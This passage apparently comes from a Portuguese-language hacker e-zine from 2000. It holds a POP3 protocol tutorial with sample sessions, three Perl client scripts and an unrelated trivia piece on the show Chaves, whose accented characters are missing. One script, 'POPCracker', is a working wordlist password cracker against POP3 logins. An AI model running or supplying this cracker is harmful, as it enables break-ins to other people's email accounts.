      | QPOP 2.53 ||      |       usando TCP/IP      |     ||        |
      |___________||______|         porta 113        |_____||________|
       Servidor Linux                                   Voce usando 
       com QPOP 2.53                                    Pine, Kmail,
                                                        Outlook e etc.
                                                      
   Funcionamento

      O servidor, ao ser ativado, aguarda conexoes do cliente POP3 na
      porta 113. Ao se estabelecer a conexao, o servidor envia uma
      mensagem de boas-vidas. Ex:

      OK+ pcHazard Personal POP3 Server v0.01 servicing you

      Em toda a transacao, o cliente envia pedidos terminados por um
      <CRLF>, quer dizer, um terminador de linha. CRLF significa
      Carriage Return Line Feed, ou retorno de carro e alimentacao de
      linha. Ele pode variar, mas qualquer servidor ira entender o
      conjunto de caracteres ascii 13 e 10 como sendo um <CRLF>.
      Depois de cada pedido do cliente, o servidor envia uma resposta.
      Existem 2 tipos de respostas vindas por parte do servidor: as
      positivas e as negativas. As positivas comecam com um "+OK" e
      indica que a operacao foi um sucesso e as negativas comecam com
      um "-ERR" e indicam que houve algum erro relacionado ao ultimo
      pedido do cliente. Para saber se um pedido foi bem sucedido ou
      mal sucedido basta olhar se a resposta comeca com um +OK ou com
      um -ERR. A mensagem posterior a esses indicadores variam de
      servidor para servidor. As respostas do servidor que possuirem
      mais de uma linha terminam com um <CRLF>.<CRLF>
      A mensagem de boas-vindas do servidor sempre eh uma mensagem
      positiva.

      De acordo com o RFC1225, a transacao POP3 eh dividida em 3 partes
      imaginarias:

      Autenticacao - Quando voce entra com o login e a senha
      Transacao    - Voce le seus e-mails
      Atualizacao  - Voce fecha sua mailbox e sai do servidor.

      Voce sempre pode sair do servidor usando o comando QUIT independente
      de que estado voce esteja no momento.
      Ha ainda no RFC1225 especificacoes sobre outros comandos complementares
      do protocolo POP3 que nao sao obrigatorios a ser implementados nos
      servidores POP3. Alguns servidores POP3 podem nao suporta-lo. Em todo
      caso, eh melhor utilizar somente os comandos padroes do protocolo POP3
      descritos como padroes. Caso tenha certeza que seu servidor POP3 suporta
      esses comandos, eles podem ser usados pois permitem uma maior liberdade
      quanto ao gerenciamento da mailbox.


                                --------------
                               | Autenticacao |
                                --------------


      Eh o estado em que o cliente POP3 se encontra quando se conecta
      ao servidor POP3, antes de se autenticar. Autenticar eh fazer com
      que o servidor reconheca quem voce eh. O mesmo usuario nao pode
      logar-se duas vezes simultaneamente no servidor POP3, porque quando
      o primeiro efetuar o logon no servidor POP3 ira dar um LOCK, ou
      seja, travar o arquivo que guarda as mensagens de e-mail.

      Ha 2 comandos que devem ser usados na autenticacao:

      USER <login>
         Diz ao servidor que somos o usuario <login>, que no caso dos
         servidores POP3 para linux, deve constar no /etc/shadow.
         Respostas:

         +OK Please send a PASS command
         O servidor aceitou seu login como valido e espera pelo comando
         PASS.

         -ERR I don't know you. 
         O servidor nao o reconheceu. Envie um outro USER com outro login
         ou um QUIT e saia do servidor.

      PASS <senha>
         Diz ao servidor que quer se logar nele usando o login especificado
         pelo comando USER usando a senha <senha> que sera verificada no
         /etc/shadow.
         Respostas:

         +OK Maildrop has 2 messages
         O servidor reconheceu seu login e senha e agora voce esta logado
         e sua mailbox esta travada (locked).

         -ERR Invalid login. Try again or get out.
         -ERR Unable to lock mailbox. File already locked.
         No primeiro caso, voce nao conseguiu logar porque escreveu a senha
         errada. No segundo caso voce logou no servidor com a senha correta
         mas nao conseguiu abrir a sua mailbox porque ela esta travada. Isso
         pode ocorrer por 2 fatores: Ou eh um problema no servidor, o que ja
         aconteceu comigo quando lia meu e-mail no iG, por exemplo, ou pode
         ser que outro pessoa esteja no momento lendo seus e-mails....
         Entre com um novo USER/PASS ou de um QUIT.

      EXEMPLOS:

         Autenticado com sucesso:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages

         Erro ao autenticar por usuario invalido:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchax
            +ERR I don't know you.
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages

         Erro ao autenticar por mailbox travada:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            -ERR Can't get mailbox lock.
            QUIT
            +OK See ya later...

                           ------------------------
                          |   Comandos Extras do   |
                          | Estado de Autenticacao |
                           ------------------------

      RPOP <login>
         Esse comando eh usado no estado de Autenticacao no lugar do comando
         PASS. Para usar esse comando, o cliente POP3 deve usar uma porta
         reservada (menor que 1024, olhe no /etc/services) para conectar no
         servidor. O servidor POP3 ira usar o par USER-RPOP para autenticar o
         usuario. O servidor ira ver se o cliente POP3 esta apto a se logar
         no servidor de acordo com a sua localizacao. Por exemplo, no
         UNIX da Berkeley o .rhosts eh usado para autenticar o cliente POP3.
         Como jah percebemos, atraves do uso de outros mecanismos de
         autenticacao ao inves de senhas eh possivel ter acesso a varias
         outras contas POP3 usando outros hosts considerados seguros, igual
         ao rlogin. O uso desse metodo de autenticacao eh desencorajado
         por poder ser facilmente burlado tendo-se acesso root em uma maquina
         considerada segura.
         Respostas:

         +OK Maildrop has XX messages
         O servidor o reconheceu como usuario e voce obteve acesso ao mailbox.
         Voce entra entao para o estado de Transacao.

         -ERR Invalid login. Try again or get out.
         O servidor nao o reconheceu como usuario que pode ter acesso a essa
         conta nesse servidor POP3.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            RPOP pch4xor
            -ERR Invalid login
            USER pchaz
            +OK Please send a PASS command
            RPOP pchaz
            +OK Maildrop has 1 message
            RETR 1
            +OK 3321 octets
            < ... >
            DELE 1
            +OK message deleted
            QUIT
            +OK Sayonara

      APOP <login> <MD5>
         Este comando serve para substituir o envio de logins e senhas
         em texto puro a fim de aumentar a seguranca da transacao,
         visto que essas podem ser facilmente capturadas por sniffers
         instalados no servidor POP3.
         Todos os servidores que suportam esse comando possuem seu banner
         de boas-vindas com um texto extra. Ex:

         +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>

         Note esse <1896.697170952@pchazard.net>. Esse pedaco do banner
         ira mudar de conexao para conexao. Vamos analiza-lo:
         <XXXX.YYYYYYYYY@ZZZZZZZZZZZ>
         XXXX = PID do servidor POP3
         YYYYYYYYY = horario em que a conexao foi aberta
         ZZZZZZZZZZZ = host do servidor POP3
         Esses dados sao usados na autenticacao do cliente POP3.
         O que o cliente faz:
         Quando recebe o banner, ele salva esse pedaco do banner em uma
         variavel.
         Vamos supor que o login do usuario a logar eh "pchaz" e que a senha
         desse login no servidor eh "not4you". Entao o cliente ira pegar o
         pedaco do banner <1896.697170952@pchazard.net> e juntar com a senha
         que ele acha que eh do login "pchaz". Ficara entao:

         <1896.697170952@pchazard.net>not4yoy

         Entao o cliente tira o MD5 dessa string e envia como segundo
         argumento do APOP.

         Ex: MD5("<1896.697170952@pchazard.net>not4yoy") =
             c4c9334bac560ecc979e58001b3e22fb
         +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
         APOP pchaz c4c9334bac560ecc979e58001b3e22fb
         +OK maildrop has 1 message (369 octets)

         E pronto. O cliente foi autenticado enviando apenas o login sem
         a sua senha.
         Respostas:

         +OK Maildrop has XX messages
         O servidor o reconheceu como sendo autenticado e voce estah agora
         no estado de Transacao.

         -ERR Invalid login. Try again or get out.
         O servidor nao o reconheceu como usuario autenticado. Tente novamente
         ou saia do servidor.

         EXEMPLOS:

            Autenticado com sucesso

               +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
               APOP pchaz c4c9334bac560ecc979e58001b3e22fb
               +OK maildrop has 1 message (369 octets)
               DELE 1
               +OK
               QUIT
               +OK See ya later...

            Erro ao autenticar e depois loga com USER/PASS

               +OK pcHazard Personal POP3 Server <1896.697170952@pchazard.net>
               APOP pchaz c4c9334bac560ecc979e58001b3e22fb
               -ERR Invalid login
               USER pchaz
               +OK Please enter PASS command
               PASS not4you
               +OK maildrop has 1 message (369 octets)
               DELE 1
               +OK
               QUIT
               +OK See ya later...


                                  -----------
                                 | Transacao |
                                  -----------

      Passado essa parte com de autenticacao com sucesso, voce entra para
      o estado de Transacao. No estado de transacao, voce esta apto a
      gerenciar sua mailbox, lendo e-mails e ate apagando eles. Existem
      7 comandos "oficiais" de acordo com o RFC1225 para serem usados nessa
      transacao.

      STAT
         Diz quantas mensagens ha' na sua caixa postal e qual o tamanho de
         todas juntas em octetos (letras). Nao possui argumentos.
         Respostas:

         +OK XX YYYY
         Diz que ha' no servidor XX mensagens e o tamanho de todas juntas
         eh YYYY letras.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages
            STAT
            +OK 2 320
            QUIT
            +OK See ya later...

      LIST [msg#]
         Faz a mesma coisa que o STAT, mas com mensagens especificas ao
         invez de gerais. O parametro [msg#] eh opcional e indica o numero
         da mensagem que deve ser recebida as informacoes. Caso o parametro
         nao seja dado, sera listada informacoes sobre todas as mensagens na
         mailbox e a resposta do servidor serah multi-linha, ou seja, tera
         varias linhas e terminarah com um <CRLF>.<CRLF>
         Respostas:

         Sem parametro
            +OK AA messages (BBB octets)
            XX YYYY
            XX YYYY
            Diz que ha AA mensagens na mailbox, com o tamanho de BBB letras
            ao todo. Para cada mensagem na mailbox eh gerada uma linha
            que diz que a mensagem numero XX possui YYYY letras.
         Com parametro
            +OK XX YYYY
            Diz que a mensagem XX possui YYYY letras.
         Em caso de erro
            -ERR no such message
            Diz que a mensagem especificada como parametro nao existe.


         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages
            LIST 1
            +OK 1 320
            LIST
            +OK 2 messages (500 octets)
            1 320
            2 180
            LIST 3
            -ERR no such message
            QUIT
            +OK See ya later...

      RETR <msg#>
         Recebe a mensagem especificada no parametro <msg#>
         Esta mensagem nao deve estar marcada para ser removida.
         Se o maior numero da ultima mensagem acessada foi menor que
         <msg#> ele serah atualizado para <msg#> (sera discutido no
         comando LAST)
         Respostas:

         +OK YYYY octets
         Diz que a mensagem <msg#> possui YYYY linhas e logo apos envia
         a mensagem. Lembre-se que a mensagem inclui o cabecalho, apesar
         do servidor POP3 nao diferenciar corpo e cabecalho do e-mail.
         O fim da mensagem eh marcado por um <CRLF>.<CRLF>

         -ERR no such message
         A mensagem especificada em <msg#> nao existe ou esta marcada para
         ser removida.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages
            RETR 1
            +OK 3321 octets
            Subject: ah se tu soubesses...

            Ha se tu soubesses como sou tao carinhoso
            e o muito muito que te quero
            na fugirias mais de mim...

            Ass. Sua admiradora secreta. pcHazard, vc eh um gato,
            eu te amo e faco qq coisa por voce !!!!

            .

            +RETR 3
            -ERR no such message
            QUIT
            +OK See ya later...    

      DELE <msg#>
         Deleta a mensagem especificada no parametro <msg#> da sua mailbox.
         Esta mensagem nao deve estar marcada para ser removida.
         Se o maior numero da ultima mensagem acessada foi menor que
         <msg#> ele serah atualizado para <msg#>
         Respostas:

         +OK message deleted
         Diz que a mensagem <msg#> foi removida com sucesso da sua mailbox.

         -ERR no such message
         A mensagem especificada em <msg#> nao existe ou ja foi removida.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 2 messages
            DELE 1
            +OK message deleted
            RETR 1
            -ERR no such message
            QUIT
            +OK See ya later...

      NOOP
         Naum faz nada, apenas dah uma resposta positiva.
         Respostas:

         +OK

      LAST
         Este comando retorna o maior numero da ultima mensagem acessada
         na mailbox. Se voce leh a mensagem 5, seu LAST vai ser 5. Se vc
         depois ler a mensagem 3, seu LAST continua sendo 5. Ele continua
         valendo mesmo se vc fechar a conexao atual e abrir outra sessao no
         servidor POP3. Ele serve pra que, se vc nao puxou todas as mensagens
         em uma sessao, depois vc pode pegar o numero da ultima mensagem que
         voce pegou e continuar a pegar os e-mails de onde parou.
         Respostas:

         +OK YY
         Diz que o maior numero da ultima mensagem acessada foi a YY.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 13 messages
            LAST
            +OK 1
            RETR 1
            < ... >
            LAST
            +OK 1
            RETR 12
            < ... >
            LAST
            +OK 12
            RETR 5
            < ... >
            LAST
            +OK 12
            QUIT
            +OK See ya later...

      RSET
         Esse comando serve para voce reiniciar a sessao atual. Todas as
         mensagens que estavam marcadas para serem removidas sao desmarcadas
         e voltam para a mailbox como mensagens normais. Seu LAST volta para
         o valor que possuia quando vc iniciou a sessao. Ela sempre gera uma
         resposta positiva.
         Respostas:

         +OK
         Diz que a sessao foi reiniciada com sucesso.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 3 messages
            DELE 1
            +OK message deleted
            DELE 2
            +OK message deleted
            DELE 3
            +OK message deleted
            STAT
            +OK 0 0
            RSET
            +OK
            STAT
            +OK 3 3342
            QUIT

                         ---------------------------
                        | Comandos Extras do Estado |
                        |       de Transacao        |
                         --------------------------- 


      TOP <msg#> <linhas>
         Esse comando serve pra voce pegar um "resumo" ou saber do que uma
         mensagem trata. O parametro <msg#> eh o numero da mensagem e <linhas>
         eh o numero de linhas do corpo da mensagem a enviar. A <msg#> nao
         deve ser uma mensagem marcada para remocao. Apos enviar esse comando
         e a resposta do servidor for positiva, o servidor enviara o cabecalho
         da mensagem mais <linhas> linhas do corpo da mensagem. Nesse caso,
         a resposta sera multi-linha e terminara com um <CRLF.CRLF>
         Se <linhas> for maior que o numero de linhas da mensagem, toda a
         mensagem serah enviada.

         Respostas:

         +OK
         < ... Cabecalho+Corpo ... >

         -ERR no such message
         A mensagem especificada em <msg#> nao existe ou esta marcada para
         remocao.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 1 message
            TOP 1 4
            +OK
            Mail from: jenny@aol.com
            Subject: I can't live without you, pcHazard !

            pcHazard,
            In all my life I never know a man like you.
            You are intelligent, wonderful and I love you deeply.
            I try to forget you, but you don't get out of my thinks and
            .

            DELE 1
            +OK message deleted
            QUIT

      UIDL [msg#]
         Esse comando retorna uma chave que diferencia uma mensagem de outra
         do servidor. Nao existe mensagens diferentes com o mesmo UIDL
         que significa Unique ID Listing. Seu argumento eh opcional, e se for
         dado, nao deve ser uma mensagem marcada para remocao. Se nao for
         dado, sera dada uma lista com os UIDLs de todas as mensagems do
         servidor. A resposta serah multi-linha e terminarah com um
         <CRLF>.<CRLF>
         O UIDL de cada mensagem eh determinado pelo servidor e consiste
         de caracteres entre 0x21 e 0x7E. Ele se mantem mesmo em sessoes
         diferentes e mensagens marcadas para remocao nao terao seus UIDLs
         listados.
         Respostas:

         +OK unique-id listing follows
         A lista de UIDLs serah listada apos essa mensagem positiva.

         -ERR no such message
         A mensagem especificada em [msg#] nao existe.

         EXEMPLO:

            +OK pcHazard Personal POP3 Server v0.01 servicing you
            USER pchaz
            +OK Please send a PASS command
            PASS pchaz
            +OK Maildrop has 3 messages
            UIDL 1
            +OK 1 whqtswO00WBw418f9t5JxYwZ
            UIDL 4
            -ERR no such message
            UIDL
            1 whqtswO00WBw418f9t5JxYwZ
            2 QhdPYR:00WBw1Ph7x7
            3 YuqrTS:00WBw4PjxZ
            .

            QUIT
            +OK See ya later...



                                 -------------
                                | Atualizacao |
                                 -------------


      Teoricamente, este estado eh tao util quando aquela nota que fica
      sobrando quando vc passa de ano no colegio :-)
      Quando voce entra pra este estado, o servidor POP3 destrava sua
      caixa postal (mailbox) e finaliza a conexao.
      Mas, se voce ainda nao tiver logado no servidor e dar um QUIT,
      voce eh disconectado do servidor sem passar por esse estado.
      Por que? Porque esse estado serve pra dizer que o servidor fechou
      sua caixa postal, e se vc ainda nao tiver logado, sua caixa postal
      nem se quer estara aberta. Para entrar nesse estado deve-se estar
      no estado Transacao e usa-se o comando:

      QUIT
         Diz ao servidor que voce tah cansado de pegar e-mails e que
         tah a fim de sair dele. Entao ele destrava sua mailbox e te
         disconecta. Sua resposta sempre eh positiva. 
         Respostas:
         +OK See ya later...
         O servidor ja destravou (unlock) sua mailbox e esta pronto para
         finalizar a conexao. Eh a ultima coisa que se recebe antes de
         desconectar-se do servidor.


                              -----------------
                             | Sessoes POP3 de |
                             |     Exemplo     |
                              -----------------

   Login com sucesso:

   +OK pcHazard Personal POP3 Server v0.01 servicing you
   USER pchaz
   +OK Please send a PASS command
   PASS pchaz
   +OK Maildrop has 3 messages
   QUIT
   +OK see ya later

   Erro no login:

   +OK pcHazard Personal POP3 Server v0.01 servicing you
   USER pchaz
   +OK Please send a PASS command
   PASS pchaz
   -ERR Invalid login
   QUIT
   +OK see ya later

   +OK pcHazard Personal POP3 Server v0.01 servicing you
   USER pchaz
   -ERR User unknow
   QUIT
   +OK see ya later

   Nao ha e-mails na mailbox:

   +OK pcHazard Personal POP3 Server v0.01 servicing you
   USER pchaz
   +OK Please send a PASS command
   PASS pchaz
   +OK Maildrop has 0 messages
   STAT
   +OK 0 0
   QUIT
   +OK see ya later

   Recebendo e-mails:

   +OK pcHazard Personal POP3 Server v0.01 servicing you
   USER pchaz
   +OK Please send a PASS command
   PASS pchaz
   +OK Maildrop has 3 messages
   STAT
   +OK 3 333
   LIST
   +OK list follows
   1 111
   2 111
   3 111
   .

   RETR 1
   +OK
   < ... mensagem ... >
   .

   DELE 1
   +OK message deleted
   RETR 2
   +OK
   < ... mensagem ... >
   .

   DELE 2
   +OK message deleted
   RETR 3
   +OK
   < ... mensagem ... >
   .

   DELE 3
   +OK message deleted
   QUIT
   +OK see ya later


                             ------------------
                            | Clientes POP3 de |
                            |     Exemplo      |
                             ------------------

                             
Password Cracker
<++> protocolos/pop3/popcrack.pl
#!/usr/bin/perl
use IO::Socket;

if ($#ARGV != 2)
{
   print "\n\n ---=[ POPCracker v1.0 ]=---\n";
   print "POPCracker v1.0 - by pcHazard\n";
	print "\nUso: popcrack.pl <servidor_pop3> <login> <lista_senha>\n\n";
	exit 0;
}

my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $listasenha = $ARGV[2];
my $sock;
my $senha;


print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
   print "Conectado.\n";
   recv($sock,$msg,4096,0);
   open(LISTA, "< $listasenha") || die "Erro abrindo lista de senhas.\n";
   lblSenha: while (<LISTA>)
   {
      $senha = $_;
      $senha = substr($senha,0,length($senha)-1);
      next lblSenha if ($senha eq "");
      checklogin();
   }
   print $sock "QUIT\n";
   close $sock;
}
else
{
   print "Erro ao Estabelecer Conexao Com Servidor.\n";
}

print "\n\n ---=[ POPCracker v1.0 ]=---\n";
print "POPCracker v1.0 - by pcHazard\n";
print "<cybercrash\@ig.com.br>\n";
print "\n\n";

sub checklogin
{
   print STDERR "\n[L:$login] [S:$senha] ";
   print $sock "USER $login\n";
   recv($sock,$msg,4096,0);
   if (valida($msg) == 1)
   {
      return 1;
   }
   print $sock "PASS $senha\n";
   recv($sock,$msg,4096,0);
   if (valida($msg) == 1)
   {
      return 1;
   }
   else
   {
      print STDERR "FOUND";
      escreve("cracklog","Servidor: $servidor [L=$login] [S=$senha]\n");
      close $sock;
      $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
      exit 0 if (!$sock);
      recv($sock,$msg,1024,0);
      return 0;
   }
}

sub valida
{
   $str = @_[0];

   if (substr($str,0,3) eq "+OK")
   {
      return 0;
   }
   else
   {
      return 1;
      print $sock "QUIT\n";
      close $sock;
      $sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
      exit 0 if (!$sock);
   }
}

sub escreve
{
    my($arq, $txt) = @_;
    open(LOG, ">> $arq");
    print LOG "$txt";
    close LOG;}
<-->

Limpador de Mailbox
<++> protocolos/pop3/mbclean.pl
#!/usr/bin/perl
use IO::Socket;

if ($#ARGV != 2)
{
   print "\n\n ---=[ MBClean v1.0 ]=---\n";
   print "MBClean v1.0 - by pcHazard\n";
	print "\nUso: mbclean.pl <servidor_pop3> <login> <senha>\n\n";
	exit 0;
}

my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $senha = $ARGV[2];
my $sock;

print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
   print "Conectado.\n";
   recv($sock,$msg,4096,0);
   if (valida($msg) == 0)
   {
      print $sock "USER $login\n";
      recv($sock,$msg,4096,0);
      if (valida($msg) == 0)
      {
         print $sock "PASS $senha\n";
         recv($sock,$msg,4096,0);
         if (valida($msg) == 0)
         {
            print "Logado com sucesso no Servidor.\n";
            print $sock "STAT\n";
            recv($sock,$msg,4096,0);
            $total = ((split(" ",$msg))[1]);
            $octets = ((split(" ",$msg))[2]);
            print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n";
            if ($total != 0)
            {
               RCV: for (1 .. $total)
               {
                  my $msgnum = $_;

                  unlink 'MSG#$msgnum';
                  print STDERR "Deletando Mensagem $msgnum de $total... ";
                  print $sock "DELE $msgnum\n";
                  recv($sock,$msg,1024,0);
                  print STDERR "OK\n";
               }
               print $sock "QUIT\n";
               close $sock;
            }
            else
            {
               print "Nao ha mensagens a serem apagadas.\n";
            }
         }
         else
         {
            print "Usuario-Senha Incorreto. Tente Novamente.\n";
            exit 0;
         }
      }
      else
      {
         print "Erro usando login: $login\n";
      }
   }
}
else
{
   print "Erro ao Estabelecer Conexao Com Servidor.\n";
}
print "\n\n ---=[ MBClean v1.0 ]=---\n";
print "MBClean v1.0 by pcHazard\n";
print "<cybercrash\@ig.com.br>\n";
print "\n\n";


sub valida
{
   $str = @_[0];

   if (substr($str,0,3) eq "+OK")
   {
      return 0;
   }
   else
   {
      return 1;
   }
}
<-->

Leitor de e-mails
<++> protocolos/pop3/pcmail.pl
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 2)
{
   print "\n\n ---=[ pcMail v1.0 ]=---\n";
   print "pcMail v1.0 - by pcHazard\n";
	print "\nUso: pcmail <servidor_pop3> <login> <senha>\n\n";
	exit 0;
}

my $servidor = $ARGV[0];
my $login = $ARGV[1];
my $senha = $ARGV[2];
my $sock;
my $msg;
my $total;
my $octets;


print "\nConectando ao Servidor $servidor...\n";
$sock = IO::Socket::INET->new(PeerAddr => $servidor,PeerPort =>110,Proto => 'tcp');
if ($sock)
{
   print "Conectado.\n";
   recv($sock,$msg,4096,0);
   if (valida($msg) == 0)   {
      print $sock "USER $login\n";
      recv($sock,$msg,4096,0);
      if (valida($msg) == 0)
      {
         print $sock "PASS $senha\n";
         recv($sock,$msg,4096,0);
         if (valida($msg) == 0)
         {
            print "Logado com sucesso no Servidor.\n";
            print $sock "STAT\n";
            recv($sock,$msg,4096,0);
            $total = ((split(" ",$msg))[1]);
            $octets = ((split(" ",$msg))[2]);
            print "Ha $total Mensagen(s) Na Sua Caixa ($octets)\n";
            if ($total != 0)
            {
               RCV: for (1 .. $total)
               {
                  my $msgnum = $_;
                  unlink 'MSG#$msgnum';
                  print "Recebendo Mensagem $msgnum de $total...\n";
                  my $mensagem;
                  my $EOM = "\015\012.\015\012";
                  print $sock "RETR $msgnum\n";
                  recv($sock,$msg,1,0);
                  while (substr($msg,length($msg)-length($EOM),length($EOM)) ne $EOM)
                  {
                     recv($sock,$msg,100000,0);
                     escreve("MSG#$msgnum", "$msg");
                  }
               }
               print $sock "QUIT\n";
               close $sock;
            }
            else
            {
               print "Nao ha mensagens a serem lidas.\n";
            }
         }
         else
         {
            print "Usuario-Senha Incorreto. Tente Novamente.\n";
            exit 0;
         }
      }
      else
      {
         print "Erro usando login: $login\n";
      }
   }
}
else
{
   print "Erro ao Estabelecer Conexao Com Servidor.\n";
}
print "\n\n---=[ pcMail v1.0 ]=---\n";
print "pcMail v1 by pcHazard\n";
print "cybercrash\@ig.com.br\n";
print "\n\n";


sub valida
{
   $str = @_[0];

   if (substr($str,0,3) eq "+OK")
   {
      return 0;
   }
   else
   {
      return 1;
   }
}

sub escreve
{
    my($arq, $txt) = @_;
    open(LOG, ">> $arq");
    print LOG "$txt";
    close LOG;
}
<-->

                                 -----------
                                | Conclusao |
                                 -----------


      Espero que tenha entendido como o protocolo POP3 funciona, e o que
      "acontece" por traz do seu cliente de e-mails... Creio que se vc
      entendeu, agora pode fazer seus proprios clientes de e-mail e entender
      melhor o funcionamento dos servidores POP3. blah blah blah ...
      Se vc naum entendeu, releia. Se continuou nao entendendo, leia o
      RFC original. Se continuou nao entendendo, passe a diante, porque
      essa aqui nao eh a sua praia...
      Talvez no issue que vem da F3 tem mais protocolo...
      Sayonara !


               -= Anapolis, GO, Brasil 28 Dez 2000 14:34:35 =-
                -= 2000 by pcHazard <cybercrash@ig.com.br> =-
                       -= Another 15 years old guy =-










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   08 - CRIOSIDADES SOBRE  ~YXXXXx_
  _xXXXXXX(          O CHAVES              )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   No momento cultural inutil de hoje, nos vamos falar sobre o
chaves-chavito-chaves!!! Quem nao curte ou nao curtiu um bom
e velho Chaves e Chapolin???
   Ate' hj eu assisto diariamente os mesmos epsodios q assistia
qdo tinha 5 anos de idade e ainda acho tudo mto hilario. Talvez
ate' mais engracado do q qdo eu era um pia' pq agora eu entendo
umas piadas q nao entendia antigamente e melhor... Agora acho +
graca nos erros dos atores do que nos roteiros.
   Bem... vc pode ate' nao curtir, mas aposto q vai se interessar
em saber o que aconteceu com os atores deste programa. Por isso
decidi publicar aqui um txt q encontrei um tempo atras e achei mto
maneiro. Nao sei quem e' o autor deste texto e nem lembro onde foi
que o encontrei.
   Issu ae. Divirtao-se!


-------------

   J houve vrios boatos sobre a morte dos atores do seriado Chaves.
Um deles, que se espalhou por todo o mundo, era a respeito de um
acidente areo que havia matado todos eles. 
   Na verdade era s mais um dos muitos outros boatos. Dizia-se at 
mesmo que o acidente realmente havia acontecido e eles teriam sado 
ilesos, mas isso tambm era mentira.
   Roberto Gmez Bolaos (Chaves) e Florinda Meza (Dona Florinda) so
casados na vida real. Ela, antes, tinha um caso com Carlos Villagrn
(Quico).
   At hoje, trs atores do seriado Chaves faleceram. 
   Ramn Valdz (Seu Madruga) morreu de cncer no pulmo devido ao fumo
em excesso. Angelines Fernandez (Dona Clotilde) e Raul "Chato" Padilla
(Jaiminho, o carteiro) morreram graas a problemas decorrentes da
velhice.
   O ator que interpretava o Godinez (Horcio Gmez Bolaos) era o 
irmo de Roberto Gmez Bolaos. Depois do fim da srie ele se tornou 
diretor de cinema e veio a falecer tempos depois.
   Carlos Villagrn (Quico) se afastou da sria por motivos de brigas 
com os outros atores. Ele disse numa entrevista que o personagem Quico 
estava se tornando mais popular que o Chaves, ento quiseram diminuir o
seu papel. Ele no aceitou e resolveu sair para fazer carreira solo. 
   Mas isso  s um lado da histria...
   No seriado que Carlos Villagrn fez depois de largar o elenco de 
Chaves, seu personagem era um empregado de um hotel. 
   Ramn Valdz (Seu Madruga) tambm participou desse seriado, que foi 
produzido na Venezuela, mas no teve tanto sucesso. O seriado at 
chegou a ser exibido no Brasil por um tempo, atravs da Rede 
Bandeirantes.
   Ramn Valdz (Seu Madruga) faleceu durante as gravaes de Chaves.
Foi quando Quico foi morar com as tias (pois Carlos Villagrn se 
afastou da srie) e Dona Florinda abriu seu restaurante.
   Tentaram substiruir Seu Madruga pela bisav da Chiquinha, Dona Neves,
tambm interpretada por Maria Antonieta de las Nieves. Foi em vo, no
havia mais como continuar gravando o seriado.
   Edgar Vivar teve h algum tempo complicaes cardacas e ficou 
internado num hospital em Hollywood, Estados Unidos.
   Felizmente nada de grave aconteceu e hoje ele tem seu prprio circo,
que faz shows por toda a Amrica Central e do Sul. Curiosamente o 
Mxico  o nico lugar onde no interessa ao humorista apresentar seus 
shows.
   Maria Antonieta de las Nieves hoje em dia tem seu prprio programa 
humorstico na Televisa. Ele se chama La Chilindrina, nome original de
sua personagem Chiquinha.
   Rubn Aguirre (Professor Girafales) era um empregado da produo 
tcnica da Televisa e foi convidado pelo prprio Bolaos para participar
de seus seriados.
   Carlos Villagrn hoje mora na Argentina e tem seu prprio circo, que,
alis, veio fazer uns shows no Brasil h algum tempo. O humorista foi, 
inclusive, no Programa Livre e no J Soares Onze e Meia.
   Quando comearam as gravaes de Chaves, a Televisa no pagava para 
comprar material para o cenrio. Quem tinha que arrumar o dinheiro era 
o prprio Roberto Gmez Bolaos. Ele ento fazia os cenrios com 
material barato, como isopor e papelo.
   E nos episdios antigos, o cho da vila  o cho do prprio estdio.
   Chaves  exibido no Brasil h mais de 16 anos pelo SBT. No comeo 
foram comprados apenas 15 episdios para serem exibidos durante o 
programa do palhao Bozo (lembra-se?). Fez tanto sucesso que logo 
depois foram comprados mais episdios.
   Chaves faz sucesso at hoje em toda a Amrica Latina, mas os pases
